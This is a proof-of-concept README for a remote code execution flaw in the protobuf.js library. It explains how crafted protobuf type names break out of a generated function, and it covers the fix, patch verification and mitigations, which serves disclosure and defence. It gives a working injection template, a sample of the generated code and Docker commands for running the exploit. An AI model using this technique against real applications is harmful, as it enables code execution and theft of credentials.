## https://sploitus.com/exploit?id=2D8443AC-DF88-5808-89E6-578FDDBA5092
# GHSA-xq3m-2v4x-88gg: protobuf.js Remote Code Execution
Critical code injection vulnerability in [protobuf.js](https://github.com/protobufjs/protobuf.js) (`protobufjs` npm package) enabling **full remote code execution** through crafted protobuf schema type names.
| Field | Value |
|-------|-------|
| **Advisory** | [GHSA-xq3m-2v4x-88gg](https://github.com/advisories/GHSA-xq3m-2v4x-88gg) |
| **CVSS** | **9.4 (Critical)** |
| **CWE** | CWE-94 (Improper Control of Generation of Code) |
| **Affected** | `protobufjs` <= 7.5.4, <= 8.0.0 |
| **Fixed** | `protobufjs` 7.5.5, 8.0.1 |
| **Fix commit** | [`535df44`](https://github.com/protobufjs/protobuf.js/commit/535df444ac060243722ac5d672db205e5c531d75) |
| **Reported** | 2026-03-02 |
| **Patched** | 2026-03-11 |
## Root Cause
The `protobuf.js` library uses a codegen module (`@protobufjs/codegen`) that builds JavaScript functions by **string concatenation** and executes them via the [`Function()` constructor](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function). Type names from protobuf schemas are inserted directly into generated function identifiers **without any sanitization**.
The vulnerable code path in `src/type.js`:
```javascript
// Type.generateConstructor builds a constructor function:
var gen = util.codegen(["p"], mtype.name); // mtype.name is UNSANITIZED
// ... adds body lines ...
return gen; // gen() later calls Function(source)()
```
The codegen `toString()` builds:
```javascript
function NAME(p){
body
}
```
This is prefixed with `return` and executed via `Function("return function NAME(p){ body }")()`, returning a constructor function. An attacker-controlled type name breaks out of the function identifier to inject arbitrary code into the constructor body.
## Exploitation
### Injection Technique
The crafted type name structure is:
```
X(p){PAYLOAD};if(true){//
```
When passed through codegen, this produces:
```javascript
return function X(p){PAYLOAD};if(true){//(p){
if(p)for(var ks=Object.keys(p),i=0;i<ks.length;++i)if(p[ks[i]]!=null)
this[ks[i]]=p[ks[i]]
}
```
The parser sees this as:
| Line | Code | Purpose |
|------|------|---------|
| L1 | `return function X(p){PAYLOAD}` | Returns a function with PAYLOAD as its body |
| L1 | `;if(true){` | Opens a block to absorb the trailing `}` |
| L1 | `//(p){` | Line comment hides duplicate params |
| L2-L3 | `if(p)for(...) this[ks[i]]=p[ks[i]]` | Dead code inside the if block |
| L4 | `}` | Closes the `if(true)` block |
The returned function becomes the **type constructor**. When `protobuf.js` creates or decodes a message using `new ctor(props)`, the injected PAYLOAD executes with full Node.js privileges.
### Attack Chain
```
Attacker crafts .proto schema with malicious type name
|
v
App loads schema (Root.fromJSON, protobuf.load, gRPC config)
|
v
Type.generateConstructor() โ codegen โ Function()
| (unsanitized name injected into function source)
v
new ctor(props) called during .create() / .decode() / .encode()
|
v
PAYLOAD EXECUTES โ child_process, fs, net, process.env
```
### Impact
Exploitation grants the attacker:
- **OS command execution** via `child_process.execSync()`
- **File system access** โ read/write arbitrary files
- **Environment variables** โ credentials, API keys, database URLs
- **Network access** โ data exfiltration, lateral movement
- **Process control** โ reverse shells, persistence
Downstream packages affected include `@grpc/proto-loader`, Firebase SDKs, and Google Cloud SDKs.
## Reproduction
### Prerequisites
- Docker
### Quick Start
```bash
# Build the vulnerable environment
docker build -t protobufjs-poc .
# Run the exploit
docker run --rm protobufjs-poc
# Verify the fix (7.5.5)
docker build -f Dockerfile.fixed -t protobufjs-fixed .
docker run --rm protobufjs-fixed
```
### What the PoC Does
The exploit runs 4 stages:
1. **Stage 1** โ Injects code via a crafted type name that modifies `globalThis` to prove arbitrary code execution
2. **Stage 2** โ Executes `id` via `child_process.execSync()` and writes output to `/tmp/pwned.txt`
3. **Stage 3** โ Captures inline command output (`id`, `uname -a`, `/etc/os-release`)
4. **Stage 4** โ Displays the generated function source showing exactly how the injection works
## Screenshots
### Exploitation (protobufjs 7.5.4)
All three stages confirm code execution โ globalThis modification, OS command execution writing to `/tmp/pwned.txt`, and inline command output capture:

### Codegen Analysis
The generated function source showing how the type name injection breaks out of the function template:

### Patch Verification (protobufjs 7.5.5)
Same exploit code against the fixed version โ all injection attempts are neutralized:

### Fix Commit
The one-line fix strips all non-word characters from the type name before it reaches codegen:

### Attack Flow
End-to-end attack flow from crafted schema to code execution:

### Vulnerability Summary

## The Fix
Commit [`535df44`](https://github.com/protobufjs/protobuf.js/commit/535df444ac060243722ac5d672db205e5c531d75) adds a single line to the `Type` constructor in `src/type.js`:
```diff
function Type(name, options) {
+ name = name.replace(/\W/g, "");
Namespace.call(this, name, options);
```
The regex `\W` matches any character that is not `[A-Za-z0-9_]`, stripping parentheses, semicolons, braces, slashes, and all other metacharacters needed to break out of the function template.
## Files
| File | Description |
|------|-------------|
| `poc_exploit.js` | Full PoC exploit with 4 demonstration stages |
| `poc_fixed.js` | Fix verification script |
| `malicious_schema.json` | Example malicious protobuf schema descriptor |
| `Dockerfile` | Vulnerable environment (protobufjs 7.5.4) |
| `Dockerfile.fixed` | Patched environment (protobufjs 7.5.5) |
| `screenshots/` | Terminal screenshots of exploitation and fix |
## Mitigation
1. **Upgrade immediately**: `npm install protobufjs@^7.5.5` or `npm install protobufjs@^8.0.1`
2. **Audit transitive dependencies**: Check if `@grpc/proto-loader`, Firebase, or Google Cloud SDKs pull in a vulnerable version
3. **Never load protobuf schemas from untrusted sources** without validation
4. **Prefer precompiled/static schemas** (`pbjs` CLI) over dynamic loading in production
## References
- [GitHub Advisory GHSA-xq3m-2v4x-88gg](https://github.com/advisories/GHSA-xq3m-2v4x-88gg)
- [Endor Labs Technical Writeup](https://www.endorlabs.com/learn/the-dangers-of-reusing-protobuf-definitions-critical-code-execution-in-protobuf-js-ghsa-xq3m-2v4x-88gg)
- [BleepingComputer Coverage](https://www.bleepingcomputer.com/news/security/critical-flaw-in-protobuf-library-enables-javascript-code-execution/)
- [Fix PR #2127](https://github.com/protobufjs/protobuf.js/pull/2127)
- [Fix Commit 535df44](https://github.com/protobufjs/protobuf.js/commit/535df444ac060243722ac5d672db205e5c531d75)
## Disclaimer
This proof of concept is provided for **defensive security research and educational purposes only**. Use responsibly and only against systems you own or have explicit authorization to test.